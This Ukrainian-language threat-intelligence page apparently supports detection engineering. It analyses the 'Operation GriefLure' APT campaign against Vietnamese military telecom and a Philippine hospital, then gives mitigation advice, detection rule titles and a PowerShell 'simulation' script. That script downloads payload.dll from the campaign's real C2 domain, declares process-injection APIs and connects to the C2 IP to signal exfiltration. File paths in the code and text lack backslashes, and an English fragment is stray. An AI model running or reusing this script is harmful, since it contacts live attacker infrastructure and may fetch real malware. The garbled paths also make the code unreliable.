Операція GriefLure: Аналіз APT-кампанії, націленої на військовий телеком В’єтнаму та філіппінський сектор охорони здоров’я
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Лабораторія Seqrite виявила цільову фішингову кампанію, яка використовувала шкідливі Windows LNK файли, сховані в подвійно стиснутих архівах RAR. При відкритті LNK запускав вбудований ftp.exe завантажувач, який відновлював поліморфний корисний навантажувач під назвою sfsvc.exe з фрагментованих .doc файлів, збережених на комп’ютері жертви. Ця активність була спрямована на вищих керівників в секторі телекомунікацій, що належить армії В’єтнаму, та персонал в приватній лікарні на Філіппінах, використовуючи документи, що виглядали легітимними, як приманку. Повний ланцюг зараження завершувався менш ніж за десять секунд і залишав мінімальні артефакти на диску.
Розслідування
Розслідування розібрало структуру архіву, розпакувало шлях виконання LNK і зворотно спроектувало власний sfsvc.exe завантажувач, який був розроблений, щоб нагадувати regsvr32.exe. Аналітики задокументували DLL сайдлодінг, виконання шелкоду в пам’яті, ін’єкцію процесу, а також командно-контрольні комунікації через замаскований домен. Огляд артефактів також виявив жорстко закодований C2 домен, www.whatsappcenter.com, розміщений через захищений провайдер у Гонконзі.
Пом’якшення
Захисники повинні блокувати виконання LNK файлів, доставлених через вкладання в електронній пошті, та контролювати використання вбудованого ftp.exe з підозрілими аргументами командного рядка. Детекція на кінцевих пристроях повинна зосередитися на безфайловому завантаженні DLL, записах альтернативного потоку даних в C:UsersPublicUpdate, та швидкому створенні sfsvc.exe. Організації також повинні посилити перевірку походження документів та навчати користувачів щодо приманок, які виглядають як легітимні юридичні або пов’язані з витоками файли.
Реакція
Якщо виявлено шкідливий LNK або sfsvc.exe процес, негайно ізолюйте постраждалий кінцевий вузол, зберіть летучу пам’ять і шукайте 360.*.dll файли завантажувача і артефакти альтернативного потоку даних. Виявлений домен командно-контроль і відповідні IP-адреси слід блокувати, а відповідні дії повинні початися, щоб визначити, чи якась інформація була ексфільтрована. Слід також проводити ширший пошук для подібної активності, пов’язаної з LNK, по всьому середовищу. ftp.exe loader activity across the environment.
Потік атаки
Виявлення
Можливий шкідливий LNK файл з подвійним розширенням (через cmdline)
Перегляд
Можливе виконання FTP сценарію з незвичними розширеннями (через cmdline)
Перегляд
Підозріле виконання з загального профілю користувача (через створення процесу)
Перегляд
Альтернативне віддалене управління / програмне забезпечення для управління (через створення процесу)
Перегляд
Підозрілі файли в загальному профілі користувача (через файл події)
Перегляд
IOCs (HashSha256) для виявлення: Операція GriefLure: Аналіз кампанії APT, націленої на військовий телекомунікаційний сектор В’єтнаму та сферу охорони здоров’я Філіппін
Перегляд
IOCs (SourceIP) для виявлення: Операція GriefLure: Аналіз кампанії APT, націленої на військовий телекомунікаційний сектор В’єтнаму та сферу охорони здоров’я Філіппін
Перегляд
IOCs (DestinationIP) для виявлення: Операція GriefLure: Аналіз кампанії APT, націленої на військовий телекомунікаційний сектор В’єтнаму та сферу охорони здоров’я Філіппін
Перегляд
Виявлення комунікації C2 операції GriefLure [Windows Мережеве з’єднання]
Перегляд
Виявлення активності операції GriefLure з використанням ftp.exe і sfsvc.exe [Windows Створення процесу]
Перегляд
Виконання симуляції
Обов’язкова умова: Телеметрія і перевірка базових показників повинні бути пройдені до виконання.
Обґрунтування: Цей розділ описує точне виконання методу противника (TTP), призначеного для запуску правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати ідентифіковані TTP і намагатися згенерувати точну телеметрію, очікувану логікою виявлення. Абстрактні або не пов’язані приклади приведуть до неправильної діагностики.
-
Наратив і команди атаки:
Зловмисник, отримавши початковий плацдарм через фішингове вкладення (T1566.001, T1204.002), обирає підхід living-off-the-land щоб уникнути виконуваних корисних навантажень. Використовуючи вбудованийcmd.exe(T1059.003) запускають PowerShell однолайнер, що виконує наступні кроки:- Виявлення – перерахування системної інформації (T1082) і запущених процесів (T1057) для визначення відповідної цілі ін’єкції.
- Збір даних входу – читання сховищ браузера (T1555.003) і дамп файлів з даними входу (T1552.001) у тимчасовий каталог.
- Отримання корисного навантаження – завантаження шкідливої DLL з C2 домену
www.whatsappcenter.comчерез HTTPS (T1071.001, T1041). - Ін’єкція процесів – ін’єкція DLL у
explorer.exe(T1055.001) для отримання персистентності та підвищення привілеїв. - C2-комунікація – відкриття постійного TCP-з’єднання до
38.54.122.188(жорстко закодована IP) і початок ексфільтрації зібраних даних.
Критичним кроком, який задовольняє правило Sigma, є спроба вихідного з’єднання до точного домену/IP, що буде зафіксовано Sysmon та брандмауером Windows.
-
Скрипт для регресійного тесту:
# ------------------------------------------------- # симуляція GriefLure C2 – версія PowerShell # ------------------------------------------------- # 1. Виявлення системи (T1082, T1057) Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null Get-Process | Select-Object -First 5 | Out-Null # 2. Симуляція збору даних входу (T1555.003, T1552.001) $credStaging = "$env:TEMPcreds.txt" "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging # 3. Завантажити шкідливу DLL з жорстко закодованого C2 домену (T1071.001, T1041) $c2Domain = "www.whatsappcenter.com" $c2Url = "https://$c2Domain/payload.dll" $dllPath = "$env:TEMPpayload.dll" Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing # 4. Ін'єкціювати DLL у explorer.exe (T1055.001) $target = (Get-Process -Name explorer).Id $inject = @" using System; using System.Runtime.InteropServices; public class Injector { [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } "@ Add-Type $inject # (Самі кроки ін’єкції пропущені для краткості; у реальних тестах треба викликати вищенаведені API.) # 5. Відкрити постійне C2-з'єднання з жорстко закодованою IP (T1041) $c2Ip = "38.54.122.188" $port = 443 $client = New-Object System.Net.Sockets.TcpClient $client.Connect($c2Ip, $port) $stream = $client.GetStream() $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START") $stream.Write($payload,0,$payload.Length) Start-Sleep -Seconds 5 $stream.Close() $client.Close() -
Команди очищення:
# Видалити підготовлені файли Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue # Закрити усі залишкові з'єднання TCP (якщо ще відкриті) Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # За бажанням скидати буфер Sysmon (для чистого стану в повторних тестах) & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml